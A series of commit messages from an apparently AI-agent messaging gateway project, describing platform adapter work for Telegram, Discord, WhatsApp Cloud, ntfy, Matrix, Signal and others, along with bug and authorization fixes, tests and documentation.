ntfy now ships as a self-contained plugin under plugins/platforms/ntfy/
instead of editing 8 core files (gateway/config.py Platform enum,
gateway/run.py factory + auth maps, cron/scheduler.py, toolsets.py,
hermes_cli/status.py, agent/prompt_builder.py, gateway/channel_directory.py,
tools/send_message_tool.py).
All routing goes through gateway/platform_registry via register_platform():
- adapter_factory, check_fn, validate_config, is_connected
- env_enablement_fn seeds PlatformConfig.extra from NTFY_* env vars so
gateway status reflects env-only setups without instantiating httpx
- standalone_sender_fn handles deliver=ntfy cron jobs when cron runs
out-of-process from the gateway
- allowed_users_env / allow_all_env hook into _is_user_authorized
- cron_deliver_env_var=NTFY_HOME_CHANNEL for cron home routing
- platform_hint surfaces in the system prompt
- pii_safe=True (topic names are the only identifier; no PII to redact)
Tests moved to tests/gateway/test_ntfy_plugin.py using _plugin_adapter_loader
so the module lives under plugin_adapter_ntfy in sys.modules and cannot
collide with sibling plugin-adapter tests on the same xdist worker. The
core-file grep tests (Platform.NTFY in source, hermes-ntfy in toolsets,
etc.) are replaced with plugin-shape tests covering register() metadata,
env_enablement_fn output, and standalone_sender_fn behavior.
68 tests pass under scripts/run_tests.sh.
Closes#30045. Based on @qike-ms's PR #30141.
Telegram status callbacks (lifecycle, compression, context-pressure)
used to append a fresh bubble on every emit. Now adapter tracks
{(chat_id, status_key) -> message_id}; first call sends, subsequent
calls edit. Failed edits drop the cache entry and fall through to a
fresh send.
- gateway/platforms/telegram.py: send_or_update_status() (+34 LOC)
- gateway/run.py: route _status_callback_sync through it when the
adapter supports it; plain adapter.send() otherwise (+15 LOC)
- 5 tests covering first send / edit-in-place / edit-failure fallback
/ distinct key & chat isolation
_guess_ext_from_data: data[:5] == b"#!SILK" -> data[:6] (6-byte string)
_looks_like_silk: data[:4] == b"#!SILK" -> data[:6]
The previous slices were too short to ever match the 6-byte "#!SILK"
literal, relying entirely on the "#!SILK_V3" (9-byte) and 0x02! (2-byte)
fallback paths for SILK format detection.
Add original_name parameter to _download_and_cache, preferring the
attachment metadata filename over the CDN URL path basename. Previously
files were cached with meaningless QQ CDN hash names (e.g.
qqdownload_...oadftnv5), causing ugly filenames when sent back to users.
Aligns with qqbot-agent-sdk's AttachmentDownloader.download_document.
1. Handle op 7 (Server Reconnect): close WS to trigger reconnect loop
while preserving session for Resume
2. Handle op 9 (Invalid Session): check d value to determine if session
is resumable; clear session only when not resumable
3. Remove 4009 from session-clearing set (connection timeout is resumable)
4. Expand fatal close codes: 4001/4002/4010-4014 now stop reconnect
immediately instead of retrying uselessly
5. Add unit tests
1. Add INTERACTION intent bit (1<<26) to _send_identify, fixing approval
button clicks not being received (INTERACTION_CREATE events were never
dispatched by the gateway)
2. Include local cached path in video/file attachment descriptions so the
LLM can reference files for re-sending to users
3. Add unit tests (TestIdentifyIntents, TestProcessAttachmentsPathExposure)
Add an official, production-grade WhatsApp integration via Meta's
Business Cloud API as a complement to the existing Baileys bridge.
No bridge subprocess, no QR codes, no account-ban risk — at the cost
of a Meta Business account and a public HTTPS webhook URL.
Setup is fully wizard-driven: 'hermes whatsapp-cloud' walks through
every credential with paste-time validation (catches the #1 trap of
pasting a phone number into the Phone Number ID field), generates a
verify token, and ends with copy-paste instructions for the
cloudflared / Meta-dashboard / Business Manager pieces that can't be
automated. The wizard also points users at Meta's Business Manager
for setting the bot's display name and profile picture.
Feature set:
- Inbound: text, images (with native-vision routing), voice notes
(STT), documents (small text inlined, larger cached), reply context.
- Outbound: text with WhatsApp-flavored markdown conversion, images,
videos, documents, opus voice notes via ffmpeg with MP3 fallback.
- Native interactive buttons for clarify, dangerous-command approval,
and slash-command confirmation flows — matches the Telegram /
Discord UX, graceful degrades to plain text.
- Read receipts (blue double-checkmarks) and typing indicator,
using Meta's combined endpoint so they fire in a single API call.
- Webhook security: X-Hub-Signature-256 HMAC verification (raw body,
constant-time), wamid deduplication, group-shaped-message refusal
(groups deferred to v2 — Baileys still covers them).
- Full integration with the gateway's session, cron, display-tier,
prompt-hint, and auth-allowlist systems. Cloud and Baileys can run
side-by-side against different phone numbers.
Also wires STT (speech-to-text) through Nous's managed audio gateway
for Nous subscribers — previously the default stt.provider=local
required a separate faster-whisper install. New subscribers now get
voice-note transcription out of the box.
Docs: 418-line user guide at website/docs/user-guide/messaging/
whatsapp-cloud.md, sidebar entry, environment-variables reference,
ADDING_A_PLATFORM.md updated with the optional interactive-UX
contract for future adapter authors.
Tests: 100 dedicated tests for the adapter, 32 for the setup wizard,
20 for the Nous subscription STT wiring, plus regression coverage
across display_config, prompt_builder, and the cron scheduler.
Known limitations (deferred until clear demand signal):
- Group chats — use the Baileys bridge if you need them.
- Message templates for 24-hour-window outside-conversation sends —
reactive chat is unaffected; cron / delegate_task with gaps > 24h
will fail with a clear error. The agent's system prompt warns the
model about this so it knows to mention it when scheduling delayed
messages.
First migration of an existing built-in platform adapter to the plugin
system established by IRC / Teams / LINE / Google Chat. Closes#24325;
advances the umbrella refactor in #3823.
Matches Teams' shape exactly — adapter under ``plugins/platforms/discord/``
with the standard ``__init__.py`` / ``adapter.py`` / ``plugin.yaml``
shell, ``register(ctx)`` entry point, **no back-compat shim** at the old
import path, and full parity for the four hooks Teams uses plus the
``apply_yaml_config_fn`` hook that landed in #25443 (the Discord plugin
is the first consumer of that hook):
* ``standalone_sender_fn`` — out-of-process cron delivery via REST API
* ``setup_fn`` — interactive ``hermes setup gateway`` wizard
* ``apply_yaml_config_fn`` — translate ``config.yaml`` ``discord:`` keys
into ``DISCORD_*`` env vars (replaces the hardcoded block in
``gateway/config.py``)
* ``is_connected`` — declares connection state from ``DISCORD_BOT_TOKEN``
* ``check_fn`` — lazy-installs ``discord.py`` on demand
* plus ``allowed_users_env``, ``allow_all_env``, ``cron_deliver_env_var``,
``max_message_length``, ``emoji``, ``required_env``, ``install_hint``
* ``gateway/platforms/discord.py`` (5,101 LOC) →
``plugins/platforms/discord/adapter.py`` (git rename, R090).
* New ``plugins/platforms/discord/{__init__.py, plugin.yaml}`` with
``requires_env`` / ``optional_env`` declarations.
* Append ``register(ctx)`` block + new hook implementations
(``_standalone_send``, ``interactive_setup``, ``_apply_yaml_config``,
``_clean_discord_user_ids``, ``_is_connected``, ``_build_adapter``,
plus helpers ``_DISCORD_CHANNEL_TYPE_PROBE_CACHE`` etc.) to the
adapter.
* Replace the ``Platform.DISCORD elif`` branch in
``GatewayRunner._create_adapter()`` (−9 LOC) with a generic post-creation
hook (+6 LOC) in the registry path: any plugin adapter that declares a
``gateway_runner`` attribute now gets it auto-injected. Webhook's
built-in branch is unchanged (it doesn't go through the registry path).
* Move ``_send_discord`` (190 LOC) and helpers
(``_DISCORD_CHANNEL_TYPE_PROBE_CACHE``, ``_remember_channel_is_forum``,
``_probe_is_forum_cached``, ``_derive_forum_thread_name``) from
``tools/send_message_tool.py`` into the plugin as ``_standalone_send``.
* Wire via ``standalone_sender_fn=_standalone_send`` (Teams pattern; same
gap fixed in #21804 for other plugin platforms).
* Replace the Discord ``elif`` in ``tools/send_message_tool.py``
``_send_to_platform`` with a 10-line registry-hook dispatch.
* Drop the ``DiscordAdapter`` import and the
``Platform.DISCORD: DiscordAdapter.MAX_MESSAGE_LENGTH`` ``_MAX_LENGTHS``
entry — the registry's ``max_message_length=2000`` covers it.
* Move ``_setup_discord`` and ``_clean_discord_user_ids`` (68 LOC) from
``hermes_cli/setup.py`` into the plugin as ``interactive_setup``.
* Wire via ``setup_fn=interactive_setup``. CLI helpers (``prompt``,
``print_info``, etc.) are lazy-imported so the plugin's module-load
surface stays minimal.
* Remove ``"discord": _s._setup_discord`` from
``hermes_cli/gateway.py::_builtin_setup_fn``.
* Remove the entire 32-line ``_PLATFORMS["discord"]`` static dict entry —
Discord's setup metadata is now discovered dynamically via
``_all_platforms()`` from the registry entry.
* Move the 59-line ``discord_cfg`` YAML→env bridge from
``gateway/config.py::load_gateway_config()`` into the plugin as
``_apply_yaml_config``. Covers ``require_mention``,
``thread_require_mention``, ``free_response_channels``, ``auto_thread``,
``reactions``, ``ignored_channels``, ``allowed_channels``,
``no_thread_channels``, ``allow_mentions.{everyone,roles,users,
replied_user}``, and ``reply_to_mode`` (including the YAML 1.1
``off``-as-False coercion and the ``extra.reply_to_mode`` fallback).
* Wire via ``apply_yaml_config_fn=_apply_yaml_config``.
* The hook runs BEFORE ``_apply_env_overrides`` and after the generic
shared-key loop, exactly as documented in
``website/docs/developer-guide/adding-platform-adapters.md``.
* Behavior is preserved exactly — every assignment still uses
``not os.getenv(...)`` guards so env vars take precedence over YAML.
All 78 references to the old import path are rewritten — no back-compat
shim:
* 51 ``from gateway.platforms.discord import X`` →
``from plugins.platforms.discord.adapter import X``
* 5 ``import gateway.platforms.discord as discord_platform`` →
``import plugins.platforms.discord.adapter as discord_platform``
* 1 ``from gateway.platforms import discord as discord_mod`` →
``from plugins.platforms.discord import adapter as discord_mod``
* 21 ``mock.patch("gateway.platforms.discord.X")`` strings →
``mock.patch("plugins.platforms.discord.adapter.X")``
* 1 docstring reference in ``hermes_cli/commands.py``
* 1 import in ``tools/send_message_tool.py`` (now removed entirely)
The import-safety test in ``tests/gateway/test_discord_imports.py`` is
updated to purge the new canonical module name from ``sys.modules``.
**38 files changed, +621 / −473** — net positive due to the YAML hook
implementation (89 new LOC in the plugin trading for 59 deleted in core),
but every line moved has a clear plugin home now. The git rename is
detected at R090 because the adapter gained ~340 LOC of moved-in hook
implementations (``_standalone_send`` + ``interactive_setup`` +
``_apply_yaml_config`` + helpers).
* All 568 Discord-specific tests pass across 25 ``test_discord_*.py``
files plus voice/send/text-batching/reload-skills/stream-consumer/
integration tests.
* All 147 tests in the YAML-touching subset
(``test_discord_reply_mode``, ``test_discord_free_response``,
``test_discord_allowed_channels``, ``test_discord_allowed_mentions``,
``test_discord_channel_controls``, ``test_discord_reactions``,
``test_discord_thread_persistence``, ``test_runtime_footer``) pass —
this is the strongest signal that the YAML→env hook behaves
identically to the legacy block.
* Broader gateway/cron/integration sweep (1297 tests) introduces zero
new failures vs ``main``. Pre-existing failures in
``tests/gateway/test_tts_media_routing.py`` and
``tests/e2e/test_platform_commands.py`` reproduce identically on the
unchanged ``main`` revision.
* Plugin discovery sanity check confirms Discord registers alongside the
other four platform plugins:
Registered platforms: ['discord', 'google_chat', 'irc', 'line', 'teams']
These Discord-shaped tendrils in core were **deliberately not moved** —
they are generic platform-registry concerns affecting every platform,
not Discord-specific:
* ``gateway/config.py:1205`` ``DISCORD_BOT_TOKEN → config.token`` env
enablement — same shape Telegram has. The existing
``env_enablement_fn`` registry hook only seeds ``extra``, not
``.token``, so it can't replace this without an adapter refactor to
read from ``extra["bot_token"]``.
* ``gateway/run.py`` voice-mode hooks
(``self.adapters.get(Platform.DISCORD)`` for
``start_voice_mode``/``stop_voice_mode``), role-based auth,
``DISCORD_ALLOW_BOTS`` branch in ``_is_user_authorized``,
``_UPDATE_ALLOWED_PLATFORMS`` frozenset, and the per-platform
allowlist maps — generic platform-registry concerns.
* ``Platform.DISCORD`` enum literal — stable identifier used as dict
keys throughout the codebase; removing it is a separate refactor with
no real benefit.
* ``tools/discord_tool.py`` and ``tools/environments/local.py`` —
first-class agent tools and env-passthrough config, neither is the
gateway adapter.
Each of these is worth its own scoping issue when the time comes.
_handle_location_message and _handle_media_message were skipped when the
observe-unmentioned-group-messages feature landed (a9db0e2c7). Both handlers
now:
1. Check _should_observe_unmentioned_group_message on the skipped path and
call _observe_unmentioned_group_message so group chatter is stored as
shared session context even when the bot is not addressed.
2. Call _apply_telegram_group_observe_attribution on the triggered path so
the dispatched event uses the shared (user_id=None) group session instead
of the per-user session, letting the model see previously observed context.
For stickers the attribution is applied after _handle_sticker completes
(which overwrites event.text with the vision description); for all other
media types it is applied once after caption cleaning.
Four new tests cover the observe and attribution paths for both handlers.
The typing indicator loop (send_typing) ran every 8s and died on any
exception, including Discord 429 rate limits. Once a 429 killed the
loop, the indicator never restarted — and the raw exception bounce
could cascade into broader gateway instability.
Changes:
- Bump sleep interval from 8s to 12s (typing light lasts ~10s)
- On 429: extract retry_after, log a warning, sleep the backoff,
and continue the loop
- On non-rate-limit errors: log debug and return (unchanged
behaviour)
PR #29211 dropped JSONL gateway transcripts and noted that the platform's
own `message_id` field (used by Yuanbao's recall guard to redact a
message by exact platform id) was no longer preserved — falling back to
content-match. That fallback works for the common case but redacts the
wrong row when two messages share text (or fails to match when content
is post-processed).
Restore exact-id matching by giving state.db a column for it:
- New `platform_message_id TEXT` column on the messages table
(SCHEMA_VERSION bump 11 → 12; column added via declarative reconciler
on existing DBs, no version-gated migration block needed)
- Partial index `idx_messages_platform_msg_id` on
(session_id, platform_message_id) to keep recall's point-lookup cheap
even on large sessions
- `append_message()` and `replace_messages()` accept the new value:
the gateway-facing `append_to_transcript` in `gateway/session.py`
forwards either `message["platform_message_id"]` or the legacy
`message["message_id"]` key (yuanbao's existing convention)
- `get_messages_as_conversation()` surfaces the column back on the
message dict as `message_id` so platform code reads the same shape
it used to read from JSONL
- Yuanbao `_patch_transcript`: restore branch A1 (exact id match)
ahead of A2 (content match) ahead of B (system-note). Both branches
log which one fired so operators can tell from gateway.log whether
recall hit the canonical path or had to fall back.
Tests:
- New low-level round-trip tests in `test_hermes_state.py` for both
`append_message` and `replace_messages` paths
- The PR's `test_yuanbao_recall_db_only.py` was rewritten to assert
the new contract: branch A1 (id match) works against DB-only
transcripts, and branch A2 (content match) still recovers rows that
were observed without a platform id (e.g. agent-processed @bot
messages where run.py doesn't carry msg_id through)
PR #29211 review findings:
1. test_retry_replacement: pin DEFAULT_DB_PATH so SessionDB() doesn't write
to the real ~/.hermes/state.db. Same fix as the other DB-only fixtures.
2. yuanbao recall branch A1 (message_id exact match) was structurally dead
once load_transcript() became DB-only — state.db never preserves the
platform message_id. Removed the dead loop, consolidated to a single
content-match branch (renamed 'A: content match'). Branch B (system
note) unchanged. Updated the test name + docstring to reflect this.
Note: self._lock is no longer taken in append_to_transcript (was guarding
the JSONL file append). SQLite append_message handles its own concurrency
via WAL mode, so this is safe; flagging for awareness.
Yuanbao's recall feature was reading the gateway JSONL directly to look up
messages by platform message_id, which state.db does not preserve. Migrated
to use load_transcript() which returns DB messages.
Recall branch A1 (message_id match) now falls through to A2 (content match)
or B (system note) for all sessions — a documented degradation. Follow-up
issue: add platform_message_id column to state.db messages to restore
exact-id matching.
Sibling fix to PR #28918 (Discord voice notes). DingTalk's rich-text
"voice" item type is its native voice-message format, but the adapter
was routing it to MessageType.AUDIO — which gateway/run.py:7605 skips
for STT. The docs claim every voice-capable platform auto-transcribes,
so this brings DingTalk in line.
Generic audio uploads (mapped to "file" by DINGTALK_TYPE_MAPPING) are
unchanged — they were already classified as DOCUMENT, not AUDIO.
Adds tests/gateway/test_dingtalk.py::TestExtractMedia covering both the
voice path and the audio-passthrough invariant.
When discord.py is not installed at import time, DISCORD_AVAILABLE=False
and the view class definitions at module bottom are skipped.
check_discord_requirements() performs a lazy install and sets
DISCORD_AVAILABLE=True but never re-ran the class definitions, causing
NameError on the first button interaction (exec approval, slash confirm, etc.).
Extract the five ui.View subclasses into _define_discord_view_classes() and
call it both at module load (when discord.py is pre-installed) and inside
check_discord_requirements() after a successful lazy install.
Five small fixes against issues filed during the post-merge salvage audit:
* #28670: `_GATEWAY_PROVIDER_ERROR_RE` false-positives on legitimate prose.
Replace the regex with an anchored `_GATEWAY_PROVIDER_ERROR_SHAPE_RE` and
add a length-cap heuristic to `_looks_like_gateway_provider_error`:
short envelope at the start of the message → real provider error; long
prose containing 'HTTP 404' → assistant answer, leave alone.
* #28672: drop the pointless 1s asyncio.sleep on Telegram thread-not-found
retries. The same-thread retry is preserved (catches Telegram's
occasional transient flake exercised by
test_send_retries_transient_thread_not_found_before_fallback) but with
no artificial delay.
* #28674: broaden `_should_retry_without_dm_topic_reply_anchor` to also
fire when Bot API rejects `direct_messages_topic_id` for synthetic /
resumed sends that have no reply anchor. Avoids dropping post-resume
background notifications if the topic id goes stale.
* #28676: delete the dead image-document branch superseded by bd0c54d17
(which returns early on the same extension set).
* #28678: extend chat-scoped allowlist (`TELEGRAM_GROUP_ALLOWED_CHATS`)
to also cover `chat_type == 'channel'`, so operators can authorize
channel posts by chat id without falling back to per-user allowlists.
Tests:
- scripts/run_tests.sh tests/gateway/test_telegram_thread_fallback.py -q → 41/41

- broader test set: same 3 pre-existing test-pollution failures reproduce

In multi-agent shared Matrix rooms, multiple bots all participating in the
same thread could trigger infinite reply loops — each bot's reply re-engaged
the others because they were all in the bot-thread set. Discord has a
`thread_require_mention` opt-in for this; Matrix didn't.
Add `_parse_thread_require_mention(config)` (mirrors Discord's pattern).
In `_resolve_message_context`, when enabled and the message is in a
bot-participated thread (not a free-response room), require @mention
before processing.
Salvage of @justemu's 2-commit stack (#27996). Fixes#27995.
Add a configurable mention filter to the Signal adapter so the bot
only responds in groups when it is explicitly @mentioned.
Changes:
- gateway/platforms/signal.py: read require_mention from adapter
extra config or SIGNAL_REQUIRE_MENTION env var; skip group messages
that don't mention the bot account (checked in rendered text and
raw mention metadata)
- gateway/config.py: map signal.require_mention YAML key to the
SIGNAL_REQUIRE_MENTION env var (env var takes precedence)
Config example:
signal:
require_mention: true
Or via env var:
SIGNAL_REQUIRE_MENTION=true
Two coordinated changes that unblock downstream audio pipelines
(diarization, custom transcription, archival) on attachments larger
than the public Bot API's 20MB getFile ceiling.
- `stt.enabled: false` no longer drops voice/audio with a generic
"transcription disabled" note. The gateway probes the cached file's
duration (wave → mutagen → ffprobe ladder) and surfaces
`[The user sent a voice message: <abs path> (duration: M:SS)]` to
the agent so a skill or tool can pick up the raw file. The previous
placeholder is replaced rather than appended when present.
- `platforms.telegram.extra.base_url` set → adapter auto-lifts its
document size cap from 20MB to 2GB (the local telegram-bot-api
`--local` ceiling) and the "too large" reply reports the active
limit dynamically. No new config knob; presence of `base_url` is the
opt-in.
- `platforms.telegram.extra.local_mode: true` wires
`Application.builder().local_mode(True)` on the python-telegram-bot
builder. PTB then reads files from disk instead of HTTP, which is
required when telegram-bot-api runs in `--local` mode (the server
returns absolute filesystem paths, not `/file/bot...` URLs).
- gateway/run.py: rewrites the `stt.enabled: false` branch of
`_enrich_message_with_transcription`. New `_format_duration` +
`_probe_audio_duration` helpers.
- gateway/platforms/telegram.py: `_max_doc_bytes` instance attribute
derived from `extra.base_url`; `local_mode` builder wiring;
dynamic "too large" message.
- tests/gateway/test_stt_config.py: covers path-surfacing with and
without an existing user message, and placeholder replacement.
- tests/gateway/test_telegram_max_doc_bytes.py: 3 cases — default 20MB
without base_url, 2GB when set, empty-string base_url keeps default.
- website/docs/user-guide/messaging/telegram.md: new "Skipping STT"
subsection under Voice Messages and a full "Large Files (>20MB) via
Local Bot API Server" walkthrough (api_id/api_hash, docker-compose,
one-time `logOut` migration, `platforms.telegram.extra` config, the
`local_mode` disk-access requirement, the silent HTTP-fallback 404).
- website/docs/user-guide/features/voice-mode.md: documents the
`stt.enabled` knob in the config reference.
- `pytest tests/gateway/test_telegram_max_doc_bytes.py
tests/gateway/test_stt_config.py` → 9/9 passing.
- Verified end-to-end on a live deployment: gateway log shows
`Using custom Telegram base_url: http://...` and
`Using Telegram local_mode (read files from disk)` on startup;
voice messages above 20MB cache to disk and surface their path to
the agent.

When a user sends a message on Telegram, the incoming message is now
automatically pinned at the start of processing and unpinned when the
agent finishes its turn. This gives the user a visual indicator that
their message is being worked on, and keeps the conversation anchored.
Changes:
- telegram.py: Added pinChatMessage in on_processing_start and
unpinChatMessage in on_processing_complete. Restructured both
hooks so pin/unpin runs independently of the reactions feature
(reactions are optional; pinning is always on).
- telegram.py: Pass message_id through SessionSource so it's
available in the session context.
- session_context.py: Added HERMES_SESSION_MESSAGE_ID context var.
- run.py: Pass source.message_id through set_session_vars.
Pinning is silent (disable_notification=True) and failures are
logged at debug level without interrupting message processing.
Only the user's incoming message is pinned -- never the agent's
replies. Auto-resume events (which have no message_id) are
correctly skipped.
The gmail-triage skill's Telegram inline buttons emit callback_data of the
form `gt:<verb>:<arg>`, but `_handle_callback_query` had no `gt:` branch —
taps fell through silently and the spinner sat there until Telegram timed it
out.
Add `_handle_gmail_triage_callback`, dispatched from the existing callback
router, that:
- Authorizes the caller via the same `_is_callback_user_authorized` path as
the approval / slash-confirm / clarify handlers.
- Maps each verb to a script under `~/.hermes/scripts/gmail-triage/` and runs
it async with a 60s timeout.
- Splits verbs into one-shots (send / archive / draft / spam) — append the
confirmation and strip the keyboard so the action can't fire twice — and
sticky-state changes (mute / trust / vip ± -domain) — append the
confirmation but leave the keyboard tappable so the user can stack actions
on one email.
- On failure: toast only, keyboard preserved so the user can retry.
- Logs every callback outcome to gateway.log for debugging.
When a DM topic lane's message_thread_id is rejected by Telegram
(e.g. stale or deleted topic), send_typing now falls back to sending
the typing indicator without thread_id so it at least appears in the
main DM view, rather than being silently swallowed.
Also adds test for the fallback behavior.
When users send images as documents (Telegram file picker), they were
rejected with "Unsupported document type" because SUPPORTED_DOCUMENT_TYPES
only includes text/office formats. Add SUPPORTED_IMAGE_DOCUMENT_TYPES
to base.py and handle them in telegram.py before the document check.
- Add SUPPORTED_IMAGE_DOCUMENT_TYPES constant to base.py
- Add MIME reverse-lookup for image types in telegram.py
- Route image documents through cache_image_from_bytes + vision pipeline
- Handle media groups for image documents
Closes: #20128, #18620
Register Telegram bot commands across default, private, and group scopes so
the slash-command menu is available outside DMs.
Changes from review feedback:
- Add asyncio.Lock to prevent race condition in _ensure_forum_commands
- Extract MAX_COMMANDS_PER_SCOPE constant (30) to avoid magic number
- Upgrade error logging from debug->warning in forum registration
- Add tests covering lazy forum registration and concurrent safety
- Remove /start handler from this PR (separate feature)
Fixes review: needs_work (race, magic number, log levels, missing tests)
send_slash_confirm() sent the raw command preview with ParseMode.MARKDOWN,
skipping the format_message() conversion applied to every other dynamic
send in the adapter. Commands with underscores, dots, brackets, or other
MarkdownV2-sensitive characters raised BadRequest: Can't parse entities;
the exception was swallowed by the outer try/except, so the confirmation
prompt silently never appeared.
Fix: wrap preview through format_message() and switch to MARKDOWN_V2,
symmetric with send_update_prompt and the callback sends fixed in
a69404052.
The text /approve and /deny paths in gateway/run.py call
resume_typing_for_chat() after resolve_gateway_approval() succeeds, but
the Telegram inline-button (ea:*) callback in _handle_callback_query did
not. Typing is paused when the approval is sent (gateway/run.py:15658),
so without a matching resume the typing indicator stayed gone for the
remainder of a long-running turn after a button click.
Symmetry-match the text path: after a successful resolve, call
self.resume_typing_for_chat(str(query_chat_id)). Guarded by count > 0
to match /approve's "if not count" early-return — if nothing was
actually resolved, the agent thread was never unblocked, so typing
should remain paused.

When a sticky fallback IP (from DoH discovery) becomes unreachable,
the transport previously got stuck in an attempt_order that only
tried the dead IP. This prevented the gateway from recovering
until the service was restarted.
Changes:
- Always include primary DNS path (None) after the sticky IP in the
attempt_order so that a primary-path retry happens on sticky failure.
- Reset self._sticky_ip to None when the currently sticky IP hits
a connect timeout / connect error, allowing the next request to
retry from scratch.
Fixes silent Telegram disconnection when discovered fallback IPs
are transiently or permanently unreachable.
The _is_callback_user_authorized fallback returned True when
TELEGRAM_ALLOWED_USERS was not set, allowing any Telegram user
to interact with the bot. Change to fail-closed: deny by default
unless GATEWAY_ALLOW_ALL_USERS=true is explicitly set.
Fixes#24457
TELEGRAM_ALLOWED_USERS was only checked for callback/inline-button
actions but not for inbound messages. Unauthorized users triggered an
'Unauthorized user' log warning but their messages were still processed
by the agent — a P0 security bypass (issue #23778).
Fix: add allowlist check in _should_process_message() which is called
for all message types (text, command, media, location). If the sender
is not in TELEGRAM_ALLOWED_USERS, the message is dropped immediately
with a warning log. Empty TELEGRAM_ALLOWED_USERS continues to allow
all users (existing behavior).
Fixes#23778
Background-process completion notifications (notify_on_complete) and
watch-pattern notifications were always delivered to the Telegram main
chat instead of the originating private-chat topic.
Hermes-created Telegram DM topic lanes only render a send when it carries
both message_thread_id and a reply anchor. The synthetic MessageEvent
injected on process completion had no message_id, so _reply_anchor_for_event
returned None and _thread_kwargs_for_send dropped message_thread_id
entirely — routing the notification to the main chat.
Capture the triggering message id at spawn time and thread it through to
the synthetic event so it can be reply-anchored back into the topic:
- session_context: add HERMES_SESSION_MESSAGE_ID context var
- telegram adapter: populate SessionSource.message_id on inbound messages
- terminal tool: persist watcher_message_id on the process session
- process registry: carry/persist message_id on watcher dicts + checkpoint
- gateway: set MessageEvent.message_id on injected notifications

When edit_message_text fails with a transient error (httpx.ConnectError,
NetworkError, server disconnected, timeouts), the progress-message sender
must not permanently set can_edit = False — that would convert a single
Telegram network hiccup into separate per-tool bubbles for the rest of the run.
Changes:
- gateway/platforms/telegram.py: edit_message now returns retryable=True for
transient network errors (ConnectError, NetworkError, timeouts, server
disconnects, temporarily unavailable). Permanent failures (flood control,
message-not-found, permissions) remain retryable=False.
- gateway/run.py: send_progress_messages checks result.retryable before
setting can_edit = False. Transient failures skip the fallback-send and
continue — the next edit cycle catches up with the accumulated lines.
Permanent failures (flood, message-not-found, etc.) still disable editing.
Tests: 22 new tests in test_telegram_progress_edit_transient.py covering
transient vs permanent error classification, SendResult.retryable semantics,
and the can_edit decision logic.
Fixes#27828
The DM topic reply fallback code in send() hardcoded should_thread=True
when telegram_dm_topic_reply_fallback metadata was present, bypassing
_should_thread_reply() and ignoring reply_to_mode config. This caused
quote bubbles on every response even with reply_to_mode: 'off'.
Fix:
- Add reply_to_mode param to _reply_to_message_id_for_send() and
_thread_kwargs_for_send() classmethods
- In send(), check self._reply_to_mode != 'off' for DM topic fallback
- Suppress reply anchor and reply_to_message_id when mode is 'off'
while preserving message_thread_id for correct topic routing
- Thread reply_to_mode through all 29 call sites
Regression coverage: 10 new tests in test_telegram_reply_mode.py
covering classmethod behavior, send() integration, and backward
compatibility.
Fixes reply_to_mode: 'off' ignored by Telegram DM topic reply fallback code #23994
When Telegram clarify prompts offer long choices, mobile clients
truncate the inline button labels, making options unreadable.
Previously only the question was shown in the message body with
truncated choice text in button labels.
Fix: append the full numbered option list to the message body
so users can read complete choice text on any client. Buttons
now use short numeric labels (1, 2, ...) to avoid Telegram
truncation. The 'Other (type answer)' button is unchanged.
Long choice labels are now rendered in full (not truncated to
57 chars + '...') since they appear in the body instead of
button labels.
Closes: #27497
Two Mattermost thread-related bugs:
1. _resolve_root_id() — Mattermost CRT requires root_id to be the
thread root post. Using any reply's own ID as root_id causes
'400 Invalid RootId'. Add _resolve_root_id() that walks up the
post chain via API to find the actual root, and apply it in
send(), _send_url_as_file(), and _send_local_file().
2. _progress_reply_to — The condition in run.py only checked
Platform.FEISHU, missing Mattermost entirely. This caused tool
progress messages to always land in the main channel instead of
the thread. Add Platform.MATTERMOST to the condition so
progress messages are routed to threads when reply_mode=thread.
Impact: Tool progress messages now appear in Mattermost threads
instead of flooding the main channel; thread replies no longer
fail with Invalid RootId when the reply target is itself a reply.
Three related fixes for the MEDIA:<path> extraction pipeline that
caused 'file not found' noise in platform channels:
1. run.py — tighten tool-result MEDIA regex from \S+ (any non-
whitespace) to require a path pattern with known extensions.
Prevents LLM-generated placeholder paths like
'MEDIA:/path/to/example.mp4' from being captured as real media.
2. base.py — remove the |\S+ fallback in extract_media() that
catches anything non-whitespace as a potential MEDIA path.
This was the primary cause of false positives — strings like
'' in tool output were captured as MEDIA: paths.
3. mattermost.py — replace the file-not-found error message sent
to the channel with a silent logger.warning() skip. When a
path extracted by MEDIA doesn't exist on disk, the channel
no longer gets a noisy '(file not found: ...)' message.
Impact: eliminates the persistent 'file not found' spam in
Mattermost channels caused by over-broad MEDIA regex patterns
matching non-path text in tool output.
The dingtalk-stream SDK calls pre_start() on every registered handler
before opening the WebSocket connection. Without this method, the SDK
raises AttributeError and kills the stream connection, causing DingTalk
to be unable to connect via Stream Mode.
The WeCom adapter's _read_events() loop only handled CLOSE, CLOSED,
and ERROR websocket message types. When the server initiates a graceful
shutdown, aiohttp returns WSMsgType.CLOSING before the connection is
fully closed. This message type was not handled, causing the receive()
call to return immediately in a tight loop while self._ws.closed
remained False. The result was 100% CPU usage on the asyncio event loop.
Add WSMsgType.CLOSING to the set of terminal message types that raise
RuntimeError("WeCom websocket closed"), allowing _listen_loop() to
enter its normal reconnect backoff path.

The agent can now produce a chart, PDF, spreadsheet, or any other supported
file type and have it land in Slack / Discord / Telegram / WhatsApp / etc.
as a native attachment, just by mentioning the absolute path in its
response. Same primitive works for kanban-worker completions: workers
attach artifacts via kanban_complete(artifacts=[...]) and the gateway
notifier uploads them alongside the completion message.
Changes:
- gateway/platforms/base.py: extract_local_files now covers PDFs, docx,
spreadsheets (xlsx/csv/json/yaml), presentations (pptx), archives
(zip/tar/gz), audio (mp3/wav/...), and html — not just images and video.
Image/video extensions still embed inline; everything else routes to
send_document via the existing dispatch partition in gateway/run.py.
- tools/kanban_tools.py + hermes_cli/kanban_db.py: kanban_complete gains
an explicit ``artifacts`` parameter. The handler stashes it in
metadata.artifacts (for downstream workers) and the kernel promotes
it onto the completed-event payload so the notifier can find it
without a second SQL round-trip.
- gateway/run.py: _kanban_notifier_watcher now calls a new helper
_deliver_kanban_artifacts after sending the completion text. The
helper reads payload.artifacts (preferred), falls back to scanning
the payload summary and task.result with extract_local_files, then
partitions images / videos / documents and uploads each via
send_multiple_images / send_video / send_document.
- website/docs/user-guide/features/deliverable-mode.md + sidebars.ts:
user-facing docs page covering the extension list, the kanban
artifacts pattern, and the MCP-for-connector-breadth recommendation.
Tests:
- tests/gateway/test_extract_local_files.py: 7 new test cases
(documents, spreadsheets, presentations, audio, archives, html,
chart-pdf canonical case). 44 passing, 0 regressions.
- tests/tools/test_kanban_tools.py: 4 new cases covering the artifacts
arg shape (list / string / merge with existing metadata / type
rejection). 17 passing.
